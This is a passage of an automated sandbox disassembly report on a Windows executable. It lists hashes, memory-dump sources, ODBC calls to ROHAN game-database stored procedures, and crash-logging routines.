                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: Locale$InfoThread
                                                                                                                            • String ID:
                                                                                                                            • API String ID: 4232894706-0
                                                                                                                            • Opcode ID: 0064d13c4b2b3c42fde313cb538e14f15c3b1500968b0addd3713f8f75ccfce9
                                                                                                                            • Instruction ID: 81fe3095a1218f4cfb16abfa55536d42795fa9ce53d5e3967fa74d32aaa17f37
                                                                                                                            • Opcode Fuzzy Hash: 0064d13c4b2b3c42fde313cb538e14f15c3b1500968b0addd3713f8f75ccfce9
                                                                                                                            • Instruction Fuzzy Hash: EE110670E01249EFCF08DFA4C695AEEBBB5EF48305F2040AED905A7351D6749A40DB98
                                                                                                                            Function 00458283 Relevance: 1.5, Strings: 1, Instructions: 290COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: Q
                                                                                                                            • API String ID: 0-854704334
                                                                                                                            • Opcode ID: d0bba4e65d868e8e7092d82300e7083700da3b549659ee72f28b0312a91d4b18
                                                                                                                            • Instruction ID: ccb6cb3c9a9ded772c8a3bae748271eb210138825932e58b2dca2e9c4286c6c4
                                                                                                                            • Opcode Fuzzy Hash: d0bba4e65d868e8e7092d82300e7083700da3b549659ee72f28b0312a91d4b18
                                                                                                                            • Instruction Fuzzy Hash: 1AA136B2D001249BEB208B24DC84BEBBB74EF41315F1441BFDC4D66642EA395EC6CBA5
                                                                                                                            Function 004564DE Relevance: 1.4, Strings: 1, Instructions: 197COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: 5ALP
                                                                                                                            • API String ID: 0-2689491333
                                                                                                                            • Opcode ID: 44f3776c883670881879f8c2385a90ea4b79e9756618d95e2babb0e8c9f6c89b
                                                                                                                            • Instruction ID: f03115a78fd272e7216bd0bf46268d4312b2e8f7ce8e9e15fb3b1a0c928dbc47
                                                                                                                            • Opcode Fuzzy Hash: 44f3776c883670881879f8c2385a90ea4b79e9756618d95e2babb0e8c9f6c89b
                                                                                                                            • Instruction Fuzzy Hash: 046143A1D002189BE7108B15EC95AFFB7B9EF81301F6540BBEC4997381E23C5EC5CA56
                                                                                                                            Function 004421D0 Relevance: 47.7, APIs: 26, Strings: 1, Instructions: 463COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{? = CALL [ROHAN_UpdateCharMission] (?,?,?, ?,?,?,?,?, ?,?,?,?,?, ?,?,?,?,?, ?,?,?,?,?, ?)},000000FD), ref: 004421F0
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 0044222F
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 00442264
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 0044229C
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F1,00000005,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 004422D4
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F1,00000005,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F1,00000005,00000000), ref: 0044230C
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F1,00000005,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F1,00000005,00000000), ref: 00442344
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F1,00000005,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F1,00000005,00000000), ref: 0044237C
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F1,00000005,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F1,00000005,00000000), ref: 004423B4
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F1,00000005,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F1,00000005,00000000), ref: 004423EC
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F1,00000005,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F1,00000005,00000000), ref: 00442424
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F1,00000005,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F1,00000005,00000000), ref: 0044245C
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F1,00000005,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F1,00000005,00000000), ref: 00442494
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F1,00000005,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F1,00000005,00000000), ref: 004424CC
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F1,00000005,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F1,00000005,00000000), ref: 00442504
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F1,00000005,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F1,00000005,00000000), ref: 0044253C
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F1,00000005,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F1,00000005,00000000), ref: 00442574
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F1,00000005,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F1,00000005,00000000), ref: 004425AC
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F1,00000005,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F1,00000005,00000000), ref: 004425E4
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F1,00000005,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F1,00000005,00000000), ref: 0044261C
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F1,00000005,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F1,00000005,00000000), ref: 00442654
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F1,00000005,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F1,00000005,00000000), ref: 0044268C
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F1,00000005,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F1,00000005,00000000), ref: 004426C4
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F1,00000005,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F1,00000005,00000000), ref: 004426FC
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F1,00000005,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F1,00000005,00000000), ref: 00442734
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000FA,000000FA,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F1,00000005,00000000), ref: 0044276C
                                                                                                                            Strings
                                                                                                                            • {? = CALL [ROHAN_UpdateCharMission] (?,?,?, ?,?,?,?,?, ?,?,?,?,?, ?,?,?,?,?, ?,?,?,?,?, ?)}, xrefs: 004421E7
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: {? = CALL [ROHAN_UpdateCharMission] (?,?,?, ?,?,?,?,?, ?,?,?,?,?, ?,?,?,?,?, ?,?,?,?,?, ?)}
                                                                                                                            • API String ID: 0-2377642743
                                                                                                                            • Opcode ID: f0e8b9a6475f7cb8c3071bb09b50a6ecbfa59198af7319dcabb05fd9e9cd948d
                                                                                                                            • Instruction ID: a471fd6000be43105c4e1342dc07057f6aee67150b0ebded08a83742e617e105
                                                                                                                            • Opcode Fuzzy Hash: f0e8b9a6475f7cb8c3071bb09b50a6ecbfa59198af7319dcabb05fd9e9cd948d
                                                                                                                            • Instruction Fuzzy Hash: 2F02E470B403147BEB249B94CCA6FEA73B5EB84B94F108289F6147E6C5D6F56F408B18
                                                                                                                            Function 0043A509 Relevance: 47.7, APIs: 26, Strings: 1, Instructions: 463COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{? = CALL [ROHAN_UpdateCharTitle2] (?,?,?, ?,?,?,?,?, ?,?,?,?,?, ?,?,?,?,?, ?,?,?,?,?, ?)},000000FD), ref: 0043A529
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 0043A568
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 0043A59D
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 0043A5D5
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F1,00000005,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 0043A60D
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F1,00000005,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F1,00000005,00000000), ref: 0043A645
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F1,00000005,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F1,00000005,00000000), ref: 0043A67D
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F1,00000005,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F1,00000005,00000000), ref: 0043A6B5
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F1,00000005,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F1,00000005,00000000), ref: 0043A6ED
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F1,00000005,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F1,00000005,00000000), ref: 0043A725
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F1,00000005,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F1,00000005,00000000), ref: 0043A75D
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F1,00000005,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F1,00000005,00000000), ref: 0043A795
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F1,00000005,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F1,00000005,00000000), ref: 0043A7CD
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F1,00000005,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F1,00000005,00000000), ref: 0043A805
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F1,00000005,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F1,00000005,00000000), ref: 0043A83D
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F1,00000005,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F1,00000005,00000000), ref: 0043A875
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F1,00000005,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F1,00000005,00000000), ref: 0043A8AD
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F1,00000005,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F1,00000005,00000000), ref: 0043A8E5
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F1,00000005,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F1,00000005,00000000), ref: 0043A91D
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F1,00000005,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F1,00000005,00000000), ref: 0043A955
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F1,00000005,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F1,00000005,00000000), ref: 0043A98D
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F1,00000005,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F1,00000005,00000000), ref: 0043A9C5
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F1,00000005,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F1,00000005,00000000), ref: 0043A9FD
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F1,00000005,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F1,00000005,00000000), ref: 0043AA35
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F1,00000005,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F1,00000005,00000000), ref: 0043AA6D
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000FA,000000FA,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F1,00000005,00000000), ref: 0043AAA5
                                                                                                                            Strings
                                                                                                                            • {? = CALL [ROHAN_UpdateCharTitle2] (?,?,?, ?,?,?,?,?, ?,?,?,?,?, ?,?,?,?,?, ?,?,?,?,?, ?)}, xrefs: 0043A520
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: {? = CALL [ROHAN_UpdateCharTitle2] (?,?,?, ?,?,?,?,?, ?,?,?,?,?, ?,?,?,?,?, ?,?,?,?,?, ?)}
                                                                                                                            • API String ID: 0-585469524
                                                                                                                            • Opcode ID: 9133ce4f38ca930fe4d87f59dcc1ee96ace4d0c17c3c697dc7b64e0232b46519
                                                                                                                            • Instruction ID: c5d79978eb4874b6a3fc3540ee08eddc8a0a4f1a3b1896074e0ec0ac819443ae
                                                                                                                            • Opcode Fuzzy Hash: 9133ce4f38ca930fe4d87f59dcc1ee96ace4d0c17c3c697dc7b64e0232b46519
                                                                                                                            • Instruction Fuzzy Hash: 830223B0A416547BEB748B54CC56FAA7335EB84B19F20CA84F6187F2C5D5F26D808F18
                                                                                                                            Function 0045DAA0 Relevance: 44.1, APIs: 12, Strings: 13, Instructions: 366threadfiletimeCOMMONLIBRARYCODE
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • CreateFileA.KERNEL32(004E93D0,40000000,00000001,00000000,00000004,80000080,00000000,?,00000103,?,?,Function_00081850,004CB670,000000FF,?,0045DA88), ref: 0045DAEA
                                                                                                                            • SetFilePointer.KERNEL32(000000FF,00000000,00000000,00000002), ref: 0045DB1D
                                                                                                                            • GetLocalTime.KERNEL32(00000000), ref: 0045DB4E
                                                                                                                            • GetCurrentThreadId.KERNEL32 ref: 0045DB8B
                                                                                                                            • GetCurrentThreadId.KERNEL32 ref: 0045DB92
                                                                                                                            • VirtualQuery.KERNEL32(?,?,0000001C), ref: 0045DBDA
                                                                                                                            • GetModuleFileNameA.KERNEL32(?,?,00000104), ref: 0045DBF7
                                                                                                                              • Part of subcall function 0045E0B0: CreateFileA.KERNEL32(004E92C8,40000000,00000001,00000000,00000002,80000080,00000000), ref: 0045E0CD
                                                                                                                            Strings
                                                                                                                            • EAX=%08x CS=%04x EIP=%08x EFLGS=%08x, xrefs: 0045DD97
                                                                                                                            • EBX=%08x SS=%04x ESP=%08x EBP=%08x, xrefs: 0045DDC7
